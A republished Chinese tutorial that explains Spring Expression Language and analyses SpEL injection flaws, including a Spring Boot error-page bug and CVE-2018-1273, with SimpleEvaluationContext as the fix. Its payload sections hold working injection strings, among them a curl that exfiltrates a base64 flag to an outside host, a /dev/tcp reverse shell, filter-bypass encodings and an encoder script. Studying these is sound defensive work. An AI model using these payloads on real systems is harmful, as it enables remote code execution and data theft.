内容简介:Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从
SpEL介绍
认识SpEL
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。
- Literal expressions
- Boolean and relational operators
- Regular expressions
- Class expressions
- Accessing properties, arrays, lists, maps
- Method invocation
- Relational operators
- Assignment
- Calling constructors
- Bean references
- Array construction
- Inline lists
- Ternary operator
- Variables
- User defined functions
- Collection projection
- Collection selection
- Templated expressions
基础用法以及使用场景
上方功能中加粗的几项是我们在其表达式安全中重点学习的地方,我们首先来看SpEL的常见用法,然后会依次介绍其中几项功能的基本用法,以及在部分框架中SpEl的使用位置。
1.SpEL API
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("'Hello World'"); String message = (String) exp.getValue();
这里使用了SpEL API来评估文字字符串表达式“Hello World”。我们通常用该方式来测试或者使用SpEL表达式。
其中接口 ExpressionParser
负责解析表达式字符串。在这个例子中,表达式字符串是由周围的单引号表示的字符串文字。之后接口 Expression
负责评估以前定义的表达式字符串。
所以说上述代码含义为首先创建 ExpressionParser
解析表达式,之后放置表达式,最后通过 getValue
方法执行表达式,默认容器是spring本身的容器: ApplicationContext
。
2.SpEL语法
SpEL使用 #{...}
作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
引用其他对象: #{car}
引用其他对象的属性: #{car.brand}
调用其它方法 , 还可以链式操作: #{car.toString()}
其中属性名称引用还可以用 $
符号 如: ${someProperty}
除此以外在SpEL中,使用 T()
运算符会调用类作用域的方法和常量。例如,在SpEL中使用 Java 的 Math
类,我们可以像下面的示例这样使用 T()
运算符:
#{T(java.lang.Math)}
T()
运算符的结果会返回一个 java.lang.Math
类对象。
具体常见表达式用法会在 4.功能用法示例 中给出。
3.SpEL在bean定义中
- XML配置
<bean id="numberGuess" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <!-- other properties --> </bean>
- 基于注解的使用
public class EmailSender { @Value("${spring.mail.username}") private String mailUsername; @Value("#{ systemProperties['user.region'] }") private String defaultLocale; //... }
4.功能用法示例
Class expressions
1.类类型表达式
SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用 T()
操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了 java.lang
包下的类声明,也就是说 java.lang.String
可以通过 T(String)
访问,而不需要使用全限定名。
因此我们通过 T()
调用一个类的静态方法,它将返回一个 Class Object
,然后再调用相应的方法或属性:
如:
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")"); Object value = exp.getValue();
成功弹出计算器
2.类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。
如:
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("new java.util.Date()"); Date value = (Date) exp.getValue(); System.out.println(value);
Method invocation
方法使用典型的Java编程语法来调用。
如:
// string literal, evaluates to "bc" String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class); // evaluates to true boolean isMember = parser.parseExpression("isMember('Mihajlo Pupin')").getValue(societyContext,Boolean.class);
Calling constructors
可以使用new调用构造函数。除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名。
如:
Inventor einstein = p.parseExpression("new org.spring.samples.spel.inventor.Inventor('Albert Einstein','German')").getValue(Inventor.class); //create new inventor instance within add method of List p.parseExpression("Members.add(new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German'))").getValue(societyContext);
Bean references
如果解析上下文已经配置,则可以使用 @
符号从表达式中查找bean。
ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setBeanResolver(new MyBeanResolver()); // This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation Object bean = parser.parseExpression("@foo").getValue(context);
Variables
变量定义通过 EvaluationContext
接口的 setVariable(variableName, value)
方法定义;在表达式中使用 #variableName
引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用 #root
引用根对象,使用 #this
引用当前上下文对象。
如:
ExpressionParser parser = new SpelExpressionParser(); EvaluationContext context = new StandardEvaluationContext("rui0"); context.setVariable("variable", "ruilin"); String result1 = parser.parseExpression("#variable").getValue(context, String.class); System.out.println(result1); String result2 = parser.parseExpression("#root").getValue(context, String.class); System.out.println(result2); String result3 = parser.parseExpression("#this").getValue(context, String.class); System.out.println(result3); ---------out------------ ruilin rui0 rui0
在SpEL中比较常见的用途是针对一个特定的对象实例(称为root object)提供被解析的表达式字符串,当我们把 context
的 root object
设置为一个对象时,我们在取的时候可以省略root对象这个前缀了。如下:
首先定义一个类
public class A { String name; public String getName() { return name; } public void setName(String name) { this.name = name; } public A(String name) { this.name = name; } }
设置 root object
后SpEL执行以及结果如下
A a=new A("ruilin"); ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("name"); EvaluationContext context = new StandardEvaluationContext(a); String name = (String) exp.getValue(context); System.out.println(name); exp.setValue(context,"ruilin setValue"); name = (String) exp.getValue(context); System.out.println(name); System.out.println(a.getName()); ---------out------------ ruilin ruilin setValue ruilin setValue
这里在执行表达式时,SpEL会在内部使用反射从根对象中获取/设置属性的值。
User defined functions
用户可以在SpEL注册自定义的方法,将该方法注册到 StandardEvaluationContext
中的 registerFunction(String name, Method m)
方法。
如:
我们通过JAVA提供的接口实现字符串反转的方法。
public abstract class StringUtils { public static String reverseString(String input) { StringBuilder backwards = new StringBuilder(); for (int i = 0; i < input.length(); i++) backwards.append(input.charAt(input.length() - 1 - i)); } return backwards.toString(); } }
我们可以通过如下代码将方法注册到 StandardEvaluationContext
并且来使用它。
ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.registerFunction("reverseString", StringUtils.class.getDeclaredMethod("reverseString", new Class[] { String.class })); String helloWorldReversed = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);
Templated expressions
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用 #{}
作为分隔符。
如:
String randomPhrase = parser.parseExpression( "random number is #{T(java.lang.Math).random()}", new TemplateParserContext()).getValue(String.class); //evaluates to "random number is 0.703101106101103120010"
该字符串是通过连接文字”random number is”与 计算表达式的 #{}
定界符获取的结果,在此情况下的结果 中调用一个随机()方法。第二个参数的方法 parseExpression()
是类型 ParserContext
的。在 ParserContext
接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的 TemplateParserContext
的定义如下所示。
public class TemplateParserContext implements ParserContext { public String getExpressionPrefix() { return "#{"; } public String getExpressionSuffix() { return "}"; } public boolean isTemplate() { return true; } }
更多细节可查看官方文档
SpEL导致的任意命令执行
漏洞原因
从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个SpEL安全中造成RCE漏洞的区域。因为在不指定 EvaluationContext
的情况下默认采用的是 StandardEvaluationContext
,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

其中容易造成漏洞的两个位置是
1.针对一个特定的对象实例提供被解析的表达式字符串
如之前用法示例中 Variables 所介绍,可能造成指定属性名被构造成恶意代码
2.双重EL表达式评估
如:
<nxu:set var="directoryNameForPopup" value="#{request.getParameter('directoryNameForPopup')}" cache="true">
这个很明显通过两次EL表达式执行后,如果可以控制传入的 directoryNameForPopup
参数为恶意代码就会造成漏洞发生
我们可以再看下SpEL提供的两个 EvaluationContext
的区别。
(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开Spal语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext
旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。
所以说指定正确 EvaluationContext
,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用 SimpleEvaluationContext
替代 StandardEvaluationContext
。
常用payload
${12*12} T(java.lang.Runtime).getRuntime().exec("nslookup a.com") T(Thread).sleep(10000) #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com') new java.lang.ProcessBuilder({'nslookup a.com'}).start()
关键字黑名单过滤绕过:
可以参考之前Code-Breaking Puzzles — javacon的这道题目(writeup http://rui0.cn/archives/1015 ),主要通过正则匹配java关键词(如: java.+lang
exec.*\(
等)来防御,其绕过方式有两种 如下:
- 利用反射构造
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") .getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime") .getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")), new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
- 利用ScriptEngineManager构造
#{T(javax.script.ScriptEngineManager).newInstance() .getEngineByName("nashorn") .eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
在Nuxeo RCE中也有个黑名单绕过,因为它过滤了 .getClass(
所以采取的姿势是通过SpEL语法的集合选择绕过,payload如下。具体分析可见( http://www.polaris-lab.com/index.php/archives/613 )
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15] .invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7] .invoke(null),'curl 172.17.0.1:9898')
除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过 String
类动态生成字符
如要执行的命令为 open /Applications/Calculator.app
我们可以采用 new java.lang.String(new byte[]{<ascii value>,<ascii value>,...})
或者 concat(T(java.lang.Character).toString(<ascii value>))
嵌套来绕过
两种构造方式的 python 脚本如下:
message = input('Enter message to encode:') print('Decoded string (in ASCII):\n') print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="") for ch in message[1:]: print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), print('\n') print('new java.lang.String(new byte[]{', end=""), print(ord(message[0]), end="") for ch in message[1:]: print(',%s' % ord(ch), end=""), print(')}')
加工一下即为
T(java.lang.Runtime).getRuntime().exec( T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)) )
成功执行

其次如果有输出点需要回显可以使用
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
漏洞案例分析
SpringBoot SpEL表达式注入漏洞
影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
首先搭建存在漏洞版本的SpringBoot,创建一个controller并抛出异常
只要在异常信息中包含SpEL表达式即可注入
@Controller public class TestController { @RequestMapping("/") public String test(String payload){ System.out.println("test"); throw new IllegalArgumentException(payload); } }
请求地址
http://127.0.0.1:8181/?payload=${new%20java.lang.String(new%20byte[]{114,117,105,108,105,110})}
可以看到成功输出

其造成的原因主要是在 ErrorMvcAutoConfiguration.java
中的 SpelView
类
private static class SpelView implements View { private final String template; private final StandardEvaluationContext context = new StandardEvaluationContext(); private PropertyPlaceholderHelper helper; private PlaceholderResolver resolver; public SpelView(String template) { this.template = template; this.context.addPropertyAccessor(new MapAccessor()); this.helper = new PropertyPlaceholderHelper("${", "}"); this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context); } public String getContentType() { return "text/html"; } public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { if(response.getContentType() == null) { response.setContentType(this.getContentType()); } Map<String, Object> map = new HashMap(model); map.put("path", request.getContextPath()); this.context.setRootObject(map); String result = this.helper.replacePlaceholders(this.template, this.resolver); response.getWriter().append(result); } }
该类调用处为
private final ErrorMvcAutoConfiguration.SpelView defaultErrorView = new ErrorMvcAutoConfiguration .SpelView("<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>");
可以知道 SpelView
主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据
在 SpelView
中,首先我们可以观察到其使用了 StandardEvaluationContext
private final StandardEvaluationContext context = new StandardEvaluationContext();
之后
this.helper = new PropertyPlaceholderHelper("${", "}");
用于递归解析在 ${...}
中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前 context
中 rootObject
取相关数据 如 timestamp
(上方功能用法示例中-> Variables 中介绍过)

大致流程为 PropertyPlaceholderHelper
类中通过 parseStringValue
方法递归字符串找到目标去掉 $()
,这个方法中调用 resolvePlaceholder
方法来在 context
中找到对应的 name
,并在这里执行了 getValue
操作。由此造成命令执行。代码如下。
public String resolvePlaceholder(String name) { Expression expression = this.parser.parseExpression(name); try { Object value = expression.getValue(this.context); return HtmlUtils.htmlEscape(value == null?null:value.toString()); } catch (Exception var4) { return null; } }
其核心思想就是在递归中从 context
下的 message
中取出需要再次递归解析的 $(payload)
,由此来在下一次的解析后去掉 $()
并把其中 payload
当作传入的 name
参数来执行 getValue
操作。

其补丁是创建了一个新的 NonRecursivePropertyPlaceholderHelper
类,来防止递归解析路径中或者名字中含有的表达式。
详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
Spring Data Commons远程代码执行漏洞(CVE-2018-1273)
影响版本:
1.13-1.13.10
2.0-2.0.5
propertyName
我们直接从补丁看漏洞代码是位于 MapPropertyAccessor
类的 setPropertyValue
方法

可以看到这是很直接的之前错误的使用了 StandardEvaluationContext
造成的RCE,修复方式也是主要通过替换为 SimpleEvaluationContext
完成。
漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。
漏洞代码:
private static class MapPropertyAccessor extends AbstractPropertyAccessor { public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { if (!this.isWritableProperty(propertyName)) { throw new NotWritablePropertyException(this.type, propertyName); } else { StandardEvaluationContext context = new StandardEvaluationContext(); context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService)); context.setTypeConverter(new StandardTypeConverter(this.conversionService)); context.setRootObject(this.map); Expression expression = PARSER.parseExpression(propertyName); PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty(); TypeInformation<?> owningType = leafProperty.getOwningType(); TypeInformation<?> propertyType = leafProperty.getTypeInformation(); propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType; if (propertyType != null && this.conversionRequired(value, propertyType.getType())) { PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment()); if (descriptor == null) { throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType())); } MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1); TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0); if (typeDescriptor == null) { throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter)); } value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor); } expression.setValue(context, value); } }
开发者使用如下代码:
@RequestMapping(method = RequestMethod.POST) public Object register(UserForm userForm, BindingResult binding, Model model) { userForm.validate(binding, userManagement); if (binding.hasErrors()) { return "users"; } userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword())); RedirectView redirectView = new RedirectView("redirect:/users"); redirectView.setPropagateQueryParams(true); return redirectView; }
其流程简单上说就是在获取POST过来的参数时候因为要自动绑定进入实体类,所以首先要通过 isWritableProperty
中调用的 getPropertyPath
来判断参数名。如:传来的username参数是否是开发者controller中接收的 UserForm
实体类里的一个属性名。然后把用户传入的参数key即 propertyName
进行 PARSER.parseExpression(propertyName)
,最后 setValue(context,value)
触发了恶意代码。(上方功能用法示例中-> Variables 中介绍过)
细节如果需要了解可以自己调试一下。
payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open /Applications/Calculator.app")]=ruilin&password=ruilin&repeatedPassword=ruilin

setValue(context,value)
时候会把 propertyName
内的username作为一个集合,利用了SpEL集合选择的功能,所以就会执行中括号里面的SpEL表达式了。

防御方式
因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了 SimpleEvaluationContext
作为安全类来防御该类漏洞。
常见用法:
A a=new A("ruilin"); ExpressionParser parser = new SpelExpressionParser(); EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(a).build(); String name = (String) exp.getValue(context); System.out.println(name); ---------out------------ ruilin
总结
经过常见用法以及几个案例分析,我们可以知道,事实上在一般的开发后台过程中我们基本不会写出这样的漏洞点,一般就是通过注解或者XML用其Bean以及上下文中变量的存取功能。而出现漏洞的位置基本有两种,一是相关框架中在需要用一种通用的方法获取或者设置某对象中指定属性名的属性值的时候,也可以说使用SpEL的地方往往就是需要利用它内部使用反射的这个特点,从而可以省去我们编写的麻烦,来达到一些目的。二是在双重EL表达式评估中发生。发现该漏洞可以通过这些关键触发方法或者类如 getValue
和 StandardEvaluationContext
等,当然也可以通过 find-sec-bug 这个插件来寻找。其防御方式是使用 SimpleEvaluationContext
来禁用其敏感的功能,从而阻止表达式注入执行问题的出现。
参考
https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
http://www.polaris-lab.com/index.php/archives/613/
https://m.habr.com/company/dsec/blog/433034/
http://blog.nsfocus.net/spel-vulnerability-technical-analysis-and-protection-scheme/
http://deadpool.sh/2017/RCE-Springs/
https://www.freebuf.com/vuls/172984.html
http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20分析报告/
https://www.secpulse.com/archives/75930.html以上所述就是小编给大家介绍的《由浅入深SpEL表达式注入漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- SPEL表达式注入-入门篇
- 深入 Spring Boot:那些注入不了的 Spring 占位符(${}表达式)
- 正则表达式 – 如何使用正则表达式进行Erlang模式匹配?
- lambda表达式
- 表达式 / 语句
- Python正则表达式
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Game Programming Patterns
Robert Nystrom / Genever Benning / 2014-11-2 / USD 39.95
The biggest challenge facing many game programmers is completing their game. Most game projects fizzle out, overwhelmed by the complexity of their own code. Game Programming Patterns tackles that exac......一起来看看 《Game Programming Patterns》 这本书的介绍吧!